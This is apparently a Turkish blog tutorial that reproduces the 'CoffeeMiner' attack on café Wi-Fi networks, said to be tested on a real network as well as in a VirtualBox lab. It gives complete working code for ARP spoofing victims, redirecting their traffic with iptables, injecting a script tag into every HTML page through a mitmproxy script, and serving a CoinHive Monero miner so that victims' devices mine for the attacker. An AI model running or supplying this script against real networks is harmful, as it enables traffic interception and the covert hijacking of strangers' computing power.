Birkaç hafta önce Starbucks hakkında bir dava görüldüğünü duymuşsunuzdur. Bu davayı bilmeyenler için içeriğinden biraz bahsedeyim. Dava, kripto para üzerineydi. Birkaç saldırganın Starbucks’a gelerek buradaki ağın içerisinde yer alan cihazların CPU ve GPU güçlerini kullanarak Mining işlemi yaptırdıkları ortaya çıktı. Bu olayın tespit edilmesinden sonra, Starbucks ile ilgili dava görülmeye başlandı. Olayın ilginç gelmesi üzerine bunu “nasıl yapılabilir?” konusunu düşünerek sizler için bu olayı yazımızda simüle edeceğiz.
Bir saldırgan olarak bir LAN’da yer alan cihazları bizim hazırladığımız bir HTML sayfasına yönlendireceğiz ve bu sayfada yer alan cihazlara kötü amaçlı javascript kodu enjekte ederek kripto para mining (kazıma) işlemi yaptıracağız. CoffeeMiner olarak adlandırdığımız şey, kafelerdeki WiFi ağlarına yapılabilen bir saldırı türüdür.
Senaryo
CoffeeMiner ile WiFi ağı (LAN) içerisinde yer alan kullanıcılar ile router arasında geçen trafiğin arasına girmek ve trafiğin bizim üzerimizden gitmesini sağlamak. Yani Man in the Middle (ortadaki adam) saldırısı.
Lab’ı Kurmaya Başlayalım
Bu senaryoyu, dizüstü bilgisayarlar ve akıllı telefonların bağlı olduğu bir WiFi ağında gerçek hayatta test ettik ve işe yaradı. Ancak bu yazı için, sanal ortamda nasıl kurulacağını daha detaylı bir şekilde göreceğiz.
Lab ortamı için VirtualBox (https://www.virtualbox.org/) kullanacağız. Siz herhangi bir sanallaştırma platformu kullanabilirsiniz.
Ben saldırı testi için Kali Linux dağıtımını kullanacağım sizlere de bunu öneririm. Fakat siz Kali gibi bu tür farklı dağıtımlarda kullanabilirsiniz.
Linux olarak 3 adet makine hazırlıyoruz.
Senaryoya göre her bir makinenin rollerini ele alalım:
- Kurban
- Router’a bağlanan ve sayfalarda gezinen makine olacak.
- Saldırgan
- CoffeeMiner’ın çalıştığı ve MITM yapacağımız makine olacak.
- Router / Gateway
- Normal bir Router olarak görev alacak.
Saldırı gerçekleştirildikten sonra yapı şu şekilde olacaktır:
Makinelerin her birini yapılandırmak için şu ayarları yapacağız:
- Kurban
- Network adaptör:
- eth0: Host-only
- /etc/network/interface:
- Network adaptör:
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 10.0.2.10
netmask 255.255.255.0
gateway 10.0.2.15
- Saldırgan
- Network adaptör:
- eth0: Host-only
- /etc/network/interface:
- Network adaptör:
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 10.0.2.20
netmask 255.255.255.0
gateway 10.0.2.15
- Router / Gateway
- Network adapter:
- eth0: Bridged
- eth1: Host-only
- /etc/network/interface:
- Network adapter:
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet dhcp
auto eth1
iface eth1 inet static
address 10.0.2.15
netmask 255.255.255.0
CoffeeMiner, Koduna Başlayalım
ArpSpoofing
Öncelikle, MITM saldırısının nasıl yapıldığını anlamamız gerekir.
Wikipedia’da:
Man-in-the-middle attack (Ortadaki adam saldırısı), bir network üzerinde kurban bilgisayar ile diğer ağ araçları (yönlendirici, switch, modem ya da server gibi) arasına girerek verileri yakalama ve şifrelenmemiş verileri görebilme ilkesine dayanan bir saldırı çeşididir.
Ağ üzerinde veri paketleri serbestçe dolaşır. Özellikle broadcast olarak salınan paketler, aynı ağa bağlı tüm cihazlar tarafından görülebilir. İlkesel olarak hedefinde kendi IP’si olmayan bir paketi alan makineler, bu paketlerle ilgili herhangi bir işlem yapmamaları gerekir. Ancak istenirse bu paketlere müdahale edebilir ya da içeriğini öğrenebilirler. Aradaki adam saldırısı ağ üzerindeki paketleri yakalayarak manipüle etmek olarak özetlenebilir.
https://tr.wikipedia.org/wiki/Man-in-the-middle_attack
ARP Spoofing saldırısını gerçekleştirmek için dsniff aracını kullanacağız.
arpspoof -i interface -t ipVictim ipGateway
arpspoof -i interface -t ipGateway ipVictim
Mitmproxy
Mitmproxy, bir bilgisayardan geçen trafiği analiz etmemizi sağlayan ve o trafiğin düzenlenmesine izin veren bir yazılımdır. Bizim durumumuzda, javascript’i html sayfalarına enjekte etmek için kullanacağız.
İşlemi daha temiz yapmak için yalnızca html sayfalarına bir satırlık kod enjekte edeceğiz.
Mining Pool’a dahil edecek olan o kod:
<script src=”http://httpserverIP:8000/script.js”></script>
Injector
Kurbanın trafiğini kestikten sonra, komut dosyamızı enjekte etmeliyiz. Enjeksiyonu yapmak için mitmproxy API’ını kullanacağız:
from bs4 import BeautifulSoup
from mitmproxy import ctx, http
import argparse
class Injector:
def __init__(self, path):
self.path = path
def response(self, flow: http.HTTPFlow) -> None:
if self.path:
html = BeautifulSoup(flow.response.content, “html.parser”)
print(self.path)
print(flow.response.headers[“content-type”])
if flow.response.headers[“content-type”] == ‘text/html’:
script = html.new_tag(
“script”,
src=self.path,
type=’application/javascript’)
html.body.insert(0, script)
flow.response.content = str(html).encode(“utf8”)
print(“Script injected.”)
def start():
parser = argparse.ArgumentParser()
parser.add_argument(“path”, type=str)
args = parser.parse_args()
return Injector(args.path)
HTTP Server
Gördüğümüz gibi, enjektör html dosyasına javascript kripto madencimizi çağıran bir satır ekliyor. Bu nedenle, komut dosyasını bir HTTP sunucusunda konuşlandırılmasını sağlamalıyız.
Javascript kripto madencimizin hizmet etmesi için, saldırganın makinesinde bir HTTP sunucusu oluşturacağız. Bunu yapmak için, “http.server” adlı Python kütüphanesini kullanacağız:
#!/usr/bin/env python
import http.server
import socketserver
import os
PORT = 8000
web_dir = os.path.join(os.path.dirname(__file__), ‘miner_script’)
os.chdir(web_dir)
Handler = http.server.SimpleHTTPRequestHandler
httpd = socketserver.TCPServer((“”, PORT), Handler)
print(“serving at port”, PORT)
httpd.serve_forever()
Yukarıdaki kod, kripto madencimizi istediği zaman hizmet etmeleri için çağıran basit bir HTTP sunucusudur.
Javascript madencisini, miner_script dizinine yerleştireceğiz. Şimdi ise bu iş için CoinHive javascript madencisini kullanacağız
CoinHive Crypto Miner
CoinHive, Monero (XMR) için bir javascript madencisidir. Bir web sitesine eklenebilir ve CryptoNote protokolünü temel alarak Cryptonight PoW karma algoritması ile kullanıcının CPU gücünü kullanır.
Kullanıcıların orta-uzun vadeli bir web sitesinde kaldığında CoinHive madencisi mantıklı geliyor. Örneğin, bir web sitesi için kullanıcının o sitede kalma süresi 40 saniye ve aşağısı ise bunu kullanmak pek mantıklı değil.
Bizim durumumuzda, kurbanların gitmek istediği HTML sayfalarının her birine kripto madencisi enjekte edeceğiz, Monero Mining için uzun vadeli oturumlar ile yapacağız.
Ana hedef, önceki kavramların hepsini tek bir yapıda konuşlandırmaktır.
Yapacağımız olay, ARP spoofing saldırısını gerçekleştiren CoffeeMiner komut dosyasına sahip olmak ve kurbanların HTML sayfalarına CoinHive Crypto Miner enjekte etmek için mitmproxy’yi kurmak.
Öncelikle, saldırganın makinesini bir proxy’ye dönüştürmek için ip_forwarding ve IPTABLES’ı yapılandırmamız gerekir:
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080
Tüm kurbanlara ARP spoof gerçekleştirmek için, kurbanın IP’si olan bir “victims.txt” dosyası hazırlayacağız. Tüm kurbanlar IP’lerini okumak için IP’leri alacak ve kurbanın IP’lerinin her biri için ARPspoof’u gerçekleştiren Python kodu hazırlıyoruz.
# get gateway_ip
gateway = sys.argv[1]
print(“gateway: ” + gateway)
# get victims_ip
victims = [line.rstrip(‘\n’) for line in open(“victims.txt”)]
print(“victims:”)
print(victims)
# run the arpspoof for each victim, each one in a new console
for victim in victims:
os.system(“xterm -e arpspoof -i eth0 -t ” + victim + ” ” + gateway + ” &”)
os.system(“xterm -e arpspoof -i eth0 -t ” + gateway + ” ” + victim + ” &”)
ARPspoofing gerçekleştirildikten sonra, HTTP sunucusunu çalıştırmamız yeterlidir:
python3 httpServer.py
Son olarak, mitmproxy’yi injector.py ile çalıştırabiliriz:
mitmdump -s ‘injector.py http://httpserverIP:8000/script.js’
CoffeeMiner için Son Düzenlemeler
Şimdi yukarıda paylaşılan tüm kodları “coffeeMiner.py” komut dosyasında topladık:
import os
import sys
#get gateway_ip (router)
gateway = sys.argv[1]
print(“gateway: ” + gateway)
# get victims_ip
victims = [line.rstrip(‘\n’) for line in open(“victims.txt”)]
print(“victims:”)
print(victims)
# configure routing (IPTABLES)
os.system(“echo 1 > /proc/sys/net/ipv4/ip_forward”)
os.system(“iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE”)
os.system(“iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080”)
os.system(“iptables -t nat -A PREROUTING -p tcp –destination-port 443 -j REDIRECT –to-port 8080”)
# run the arpspoof for each victim, each one in a new console
for victim in victims:
os.system(“xterm -e arpspoof -i eth0 -t ” + victim + ” ” + gateway + ” &”)
os.system(“xterm -e arpspoof -i eth0 -t ” + gateway + ” ” + victim + ” &”)
# start the http server for serving the script.js, in a new console
os.system(“xterm -hold -e ‘python3 httpServer.py’ &”)
# start the mitmproxy
os.system(“~/.local/bin/mitmdump -s ‘injector.py http://10.0.2.20:8000/script.js‘ -T”)
ve birde “injector.py” komut dosyasına eklediklerimiz:
from bs4 import BeautifulSoup
from mitmproxy import ctx, http
import argparse
class Injector:
def __init__(self, path):
self.path = path
def response(self, flow: http.HTTPFlow) -> None:
if self.path:
html = BeautifulSoup(flow.response.content, “html.parser”)
print(self.path)
print(flow.response.headers[“content-type”])
if flow.response.headers[“content-type”] == ‘text/html’:
print(flow.response.headers[“content-type”])
script = html.new_tag(
“script”,
src=self.path,
type=’application/javascript’)
html.body.insert(0, script)
flow.response.content = str(html).encode(“utf8”)
print(“Script injected.”)
def start():
parser = argparse.ArgumentParser()
parser.add_argument(“path”, type=str)
args = parser.parse_args()
return Injector(args.path)
Çalıştırmak için yapmamız gereken sadece:
python3 coffeeMiner.py RouterIP
Demo
Demoyu yapmak için, yukarıda açıkladığımız VirtualBox Lab’ını kurmuştuk.
Saldırıyı manuel olarak yapmak istiyorsak, aşağıdaki terminallere ihtiyacımız olacak:
Ardından, ARP spoofing saldırısı yapıldıktan sonra enjektör ve HTTP sunucu hazır olduğunda, kurbanın makinesine gidebilir ve bir web sitesine göz atabiliriz. Kurbanın trafiği saldırganın makinesinden geçecek ve enjektörü aktif edecektir.
Kurbanın görüntülediği sayfalarında, saldırganın enjekte ettiği html kod satırları bulunur.
Video
Aşağıdaki videoda, coffeeMiner.py komut dosyasını kullanarak yapılan saldırının tamamını görebilirsiniz:
Gerçek WiFi ağında yapıldığında nasıl olduğunu buradan görebilirsiniz: